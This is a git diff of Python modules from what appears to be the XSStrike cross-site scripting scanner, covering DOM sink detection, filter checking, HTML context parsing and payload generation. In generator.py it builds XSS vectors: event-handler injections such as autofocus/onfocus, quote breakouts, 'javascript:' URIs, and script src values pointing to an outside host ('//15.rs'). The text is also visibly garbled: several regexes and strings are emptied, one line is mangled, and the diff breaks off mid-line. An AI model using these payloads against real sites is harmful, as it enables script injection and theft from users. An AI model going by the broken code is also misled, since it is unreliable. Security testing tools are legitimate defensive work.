diff --git a/core/dom.py b/core/dom.py
index 21378abc..8e9b9dbc 100644
--- a/core/dom.py
+++ b/core/dom.py
@@ -8,6 +8,7 @@ def dom(response):
sources = r'''document\.(URL|documentURI|URLUnencoded|baseURI|cookie|referrer)|location\.(href|search|hash|pathname)|window\.name|history\.(pushState|replaceState)(local|session)Storage'''
sinks = r'''eval|evaluate|execCommand|assign|navigate|getResponseHeaderopen|showModalDialog|Function|set(Timeout|Interval|Immediate)|execScript|crypto.generateCRMFRequest|ScriptElement\.(src|text|textContent|innerText)|.*?\.onEventName|document\.(write|writeln)|.*?\.innerHTML|Range\.createContextualFragment|(document|window)\.location'''
scripts = re.findall(r'(?i)(?s)', response)
+ sinkFound, sourceFound = False, False
for script in scripts:
script = script.split('\n')
num = 1
@@ -31,6 +32,7 @@ def dom(response):
for part in parts:
if source in part:
controlledVariables.add(re.search(r'[a-zA-Z$_][a-zA-Z0-9$_]+', part).group().replace('$', '\$'))
+ sourceFound = True
line = line.replace(source, yellow + source + end)
for controlledVariable in controlledVariables:
allControlledVariables.add(controlledVariable)
@@ -44,12 +46,13 @@ def dom(response):
sink = newLine[grp.start():grp.end()].replace(' ', '')
if sink:
line = line.replace(sink, red + sink + end)
+ sinkFound = True
if line != newLine:
highlighted.append('%-3s %s' % (str(num), line.lstrip(' ')))
num += 1
except MemoryError:
pass
- if (yellow and red) in highlighted:
+ if sinkFound and sourceFound:
return highlighted
else:
return []
diff --git a/core/filterChecker.py b/core/filterChecker.py
index 5d29b6e5..827c2160 100644
--- a/core/filterChecker.py
+++ b/core/filterChecker.py
@@ -2,44 +2,32 @@
def filterChecker(url, params, headers, GET, delay, occurences, timeout, encoding):
- positions = {}
+ positions = occurences.keys()
sortedEfficiencies = {}
# adding < > to environments anyway because they can be used in all contexts
environments = set(['<', '>'])
- for i in range(len(occurences)):
+ for i in range(len(positions)):
sortedEfficiencies[i] = {}
- for i, occurence in zip(range(len(occurences)), occurences.values()):
- environments.add(occurence['context'][1])
- location = occurence['context'][0]
- try:
- attributeName = list(occurence['context'][3].keys())[0]
- attributeValue = list(occurence['context'][3].values())[0]
- except AttributeError:
- attributeName = occurence['context'][3]
- positions[str(i)] = occurence['position']
- if location == 'comment':
+ for i in occurences:
+ occurences[i]['score'] = {}
+ context = occurences[i]['context']
+ if context == 'comment':
environments.add('-->')
- elif location == 'script':
+ elif context == 'script':
+ environments.add(occurences[i]['details']['quote'])
environments.add('')
- elif attributeName == 'srcdoc': # srcdoc attribute accepts html data with html entity encoding
- environments.add('<') # so let's add the html entity
- environments.add('>') # encoded versions of < and >
-
+ elif context == 'attribute':
+ if occurences[i]['details']['type'] == 'value':
+ if occurences[i]['details']['name'] == 'srcdoc': # srcdoc attribute accepts html data with html entity encoding
+ environments.add('<') # so let's add the html entity
+ environments.add('>') # encoded versions of < and >
+ if occurences[i]['details']['quote']:
+ environments.add(occurences[i]['details']['quote'])
for environment in environments:
- if environment == '':
- efficiencies = [100 for i in range(len(occurences))]
- else:
+ if environment:
efficiencies = checker(
url, params, headers, GET, delay, environment, positions, timeout, encoding)
- if len(efficiencies) < len(occurences):
- for i in range(len(occurences) - len(efficiencies)):
- efficiencies.append(0)
- for i, efficiency in zip(range(len(efficiencies)), efficiencies):
- try:
- sortedEfficiencies[i][environment] = efficiency
- except:
- sortedEfficiencies[i] = {}
- sortedEfficiencies[i][environment] = efficiency
- for efficiency, occurence in zip(sortedEfficiencies.values(), occurences.values()):
- occurence['score'] = efficiency
+ efficiencies.extend([0] * (len(occurences) - len(efficiencies)))
+ for occurence, efficiency in zip(occurences, efficiencies):
+ occurences[occurence]['score'][environment] = efficiency
return occurences
diff --git a/core/generator.py b/core/generator.py
index 67490d38..185d2e54 100644
--- a/core/generator.py
+++ b/core/generator.py
@@ -9,116 +9,120 @@ def generator(occurences, response):
vectors = {11: set(), 10: set(), 9: set(), 8: set(), 7: set(),
6: set(), 5: set(), 4: set(), 3: set(), 2: set(), 1: set()}
for i in occurences:
- context = occurences[i]['context'][0]
- breaker = occurences[i]['context'][1]
- special = occurences[i]['context'][2]
- try:
- attributeName = list(occurences[i]['context'][3].keys())[0]
- attributeValue = list(occurences[i]['context'][3].values())[0]
- except AttributeError:
- attributeName = occurences[i]['context'][3]
- if special not in badTags:
- special = ''
- elif context == 'attribute':
- special = '' + special + '/>'
- else:
- special = ''
+ context = occurences[i]['context']
if context == 'html':
lessBracketEfficiency = occurences[i]['score']['<']
greatBracketEfficiency = occurences[i]['score']['>']
- breakerEfficiency = occurences[i]['score'][breaker]
- if breaker == '\'' or breaker == '"':
- breaker = ''
- breakerEfficiency = 100
ends = ['//']
+ badTag = occurences[i]['details']['badTag'] if 'badTag' in occurences[i]['details'] else ''
if greatBracketEfficiency == 100:
ends.append('>')
- if lessBracketEfficiency == breakerEfficiency == 100:
+ if lessBracketEfficiency:
payloads = genGen(fillings, eFillings, lFillings,
- eventHandlers, tags, functions, ends, breaker, special)
+ eventHandlers, tags, functions, ends, badTag)
for payload in payloads:
vectors[10].add(payload)
elif context == 'attribute':
found = False
- breakerEfficiency = occurences[i]['score'][breaker]
+ tag = occurences[i]['details']['tag']
+ Type = occurences[i]['details']['type']
+ quote = occurences[i]['details']['quote'] or ''
+ attributeName = occurences[i]['details']['name']
+ attributeValue = occurences[i]['details']['value']
+ quoteEfficiency = occurences[i]['score'][quote] if quote in occurences[i]['score'] else 100
greatBracketEfficiency = occurences[i]['score']['>']
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
- if greatBracketEfficiency == 100 and breakerEfficiency == 100:
+ if greatBracketEfficiency == 100 and quoteEfficiency == 100:
payloads = genGen(fillings, eFillings, lFillings,
- eventHandlers, tags, functions, ends, breaker, special)
+ eventHandlers, tags, functions, ends)
for payload in payloads:
- if breaker:
- payload = payload.replace(breaker, breaker + '>')
- else:
- payload = '>' + payload
+ payload = quote + '>' + payload
found = True
- vectors[6].add(payload)
- if breakerEfficiency == 100:
+ vectors[9].add(payload)
+ if quoteEfficiency == 100:
for filling in fillings:
for function in functions:
- vector = breaker + filling + 'auTOfOcuS' + \
- filling + 'OnFoCUs' + '=' + breaker + function
+ vector = quote + filling + r('autofocus') + \
+ filling + r('onfocus') + '=' + quote + function
found = True
- vectors[6].add(vector)
- if breakerEfficiency == 90:
+ vectors[8].add(vector)
+ if quoteEfficiency == 90:
for filling in fillings:
for function in functions:
- vector = '\\' + breaker + filling + 'auTOfOcuS' + filling + \
- 'OnFoCUs' + '=' + function + filling + '\\' + breaker
+ vector = '\\' + quote + filling + r('autofocus') + filling + \
+ r('onfocus') + '=' + function + filling + '\\' + quote
found = True
- vectors[6].add(vector)
- if attributeName == 'srcdoc':
- if occurences[i]['score']['<']:
- if occurences[i]['score']['>']:
- del ends[:]
- ends.append('%26gt;')
- payloads = genGen(
- fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, '', '')
- for payload in payloads:
+ vectors[7].add(vector)
+ if Type == 'value':
+ if attributeName == 'srcdoc':
+ if occurences[i]['score']['<']:
+ if occurences[i]['score']['>']:
+ del ends[:]
+ ends.append('%26gt;')
+ payloads = genGen(
+ fillings, eFillings, lFillings, eventHandlers, tags, functions, ends)
+ for payload in payloads:
+ found = True
+ vectors[9].add(payload.replace('<', '%26lt;'))
+ elif attributeName == 'href' and attributeValue == xsschecker:
+ for function in functions:
found = True
- vectors[9].add(payload.replace('<', '%26lt;'))
- if attributeName.startswith('on'):
- closer = jsContexter(attributeValue)
- breaker = ''
- for char in attributeValue.split(xsschecker)[1]:
- if char in ['\'', '"', '`']:
- breaker = char
- break
- if closer:
+ vectors[10].add(r('javascript:') + function)
+ elif attributeName.startswith('on'):
+ closer = jsContexter(attributeValue)
+ quote = ''
+ for char in attributeValue.split(xsschecker)[1]:
+ if char in ['\'', '"', '`']:
+ quote = char
+ break
suffix = '//\\'
for filling in jFillings:
for function in functions:
- vector = breaker + closer + filling + function + suffix
+ vector = quote + closer + filling + function + suffix
if found:
vectors[7].add(vector)
else:
vectors[9].add(vector)
- elif breakerEfficiency > 83:
- suffix = '//'
- for filling in jFillings:
+ if quoteEfficiency > 83:
+ suffix = '//'
+ for filling in jFillings:
+ for function in functions:
+ if '=' in function:
+ function = '(' + function + ')'
+ if quote == '':
+ filling = ''
+ vector = '\\' + quote + closer + filling + function + suffix
+ if found:
+ vectors[7].add(vector)
+ else:
+ vectors[9].add(vector)
+ elif tag in ('script', 'iframe', 'embed', 'object'):
+ if attributeName in ('src', 'iframe', 'embed') and attributeValue == xsschecker:
+ payloads = ['//15.rs', '\\/\\\\\\/\\15.rs']
+ for payload in payloads:
+ vectors[10].add(payload)
+ elif tag == 'object' and attributeName == 'data' and attributeValue == xsschecker:
for function in functions:
- if '=' in function:
- function = '(' + function + ')'
- if breaker == '':
- filling = ''
- vector = '\\' + breaker + closer + filling + function + suffix
- if found:
- vectors[7].add(vector)
- else:
- vectors[9].add(vector)
-
+ found = True
+ vectors[10].add(r('javascript:') + function)
+ elif quoteEfficiency == greatBracketEfficiency == 100:
+ payloads = genGen(fillings, eFillings, lFillings,
+ eventHandlers, tags, functions, ends)
+ for payload in payloads:
+ payload = quote + '>' + r('') + payload
+ found = True
+ vectors[11].add(payload)
elif context == 'comment':
lessBracketEfficiency = occurences[i]['score']['<']
greatBracketEfficiency = occurences[i]['score']['>']
- breakerEfficiency = occurences[i]['score'][breaker]
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
- if lessBracketEfficiency == breakerEfficiency == 100:
+ if lessBracketEfficiency == 100:
payloads = genGen(fillings, eFillings, lFillings,
- eventHandlers, tags, functions, ends, breaker, special)
+ eventHandlers, tags, functions, ends)
for payload in payloads:
vectors[10].add(payload)
elif context == 'script':
@@ -130,37 +134,39 @@ def generator(occurences, response):
else:
continue
closer = jsContexter(script)
+ quote = occurences[i]['details']['quote']
scriptEfficiency = occurences[i]['score']['']
greatBracketEfficiency = occurences[i]['score']['>']
- breakerEfficiency = occurences[i]['score'][breaker]
+ breakerEfficiency = 100
+ if quote:
+ breakerEfficiency = occurences[i]['score'][quote]
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
if scriptEfficiency == 100:
breaker = r('')
payloads = genGen(fillings, eFillings, lFillings,
- eventHandlers, tags, functions, ends, breaker, special)
+ eventHandlers, tags, functions, ends)
for payload in payloads:
vectors[10].add(payload)
if closer:
suffix = '//\\'
- if not breaker:
- closer = closer[1:]
- if breakerEfficiency != 100:
- breaker = ''
for filling in jFillings:
for function in functions:
- vector = breaker + closer + filling + function + suffix
+ vector = quote + closer + filling + function + suffix
vectors[7].add(vector)
elif breakerEfficiency > 83:
+ prefix = ''
suffix = '//'
+ if breakerEfficiency != 100:
+ prefix = '\\'
for filling in jFillings:
for function in functions:
if '=' in function:
function = '(' + function + ')'
- if breaker == '':
+ if quote == '':
filling = ''
- vector = '\\' + breaker + closer + filling + function + suffix
+ vector = prefix + quote + closer + filling + function + suffix
vectors[6].add(vector)
index += 1
return vectors
diff --git a/core/htmlParser.py b/core/htmlParser.py
index a1d8815e..65326a79 100644
--- a/core/htmlParser.py
+++ b/core/htmlParser.py
@@ -1,7 +1,7 @@
import re
from core.config import badTags, xsschecker
-from core.utils import isBadContext
+from core.utils import isBadContext, equalize, escaped, extractScripts
def htmlParser(response, encoding):
@@ -9,104 +9,83 @@ def htmlParser(response, encoding):
response = response.text # response content
if encoding: # if the user has specified an encoding, encode the probe in that
response = response.replace(encoding(xsschecker), xsschecker)
- tags = [] # tags in which the input is reflected
- locations = [] # contexts in which the input is reflected
- attributes = [] # attribute names
- environments = [] # strings needed to break out of the context
- positions = [] # postions of all the reflections of the xsschecker
- for match in re.finditer(xsschecker, response):
- positions.append(match.start())
-
-# It finds the contexts of the reflections
-
- parts = response.split(xsschecker)
- # remove first element since it doesn't contain xsschecker
- parts.remove(parts[0])
- # add xsschecker in front of all elements
- parts = [xsschecker + s for s in parts]
- for part in parts: # iterate over the parts
- deep = part.split('>')
- if '', '', response)
+ script_checkable = clean_response
+ for script in extractScripts(script_checkable):
+ occurences = re.finditer(r'(%s.*?)$' % xsschecker, script)
+ if occurences:
+ for occurence in occurences:
+ thisPosition = occurence.start(1)
+ position_and_context[thisPosition] = 'script'
+ environment_details[thisPosition] = {}
+ environment_details[thisPosition]['details'] = {'quote' : ''}
+ for i in range(len(occurence.group())):
+ currentChar = occurence.group()[i]
+ if currentChar in ('/', '\'', '`', '"') and not escaped(i, occurence.group()):
+ environment_details[thisPosition]['details']['quote'] = currentChar
+ elif currentChar in (')', ']', '}', '}') and not escaped(i, occurence.group()):
break
- continue
- location = 'script'
- for char in part:
- # the only way to find out if it's attribute context is to see if '<' is present.
- if char == '<':
- location = 'attribute' # no, it doesn't match '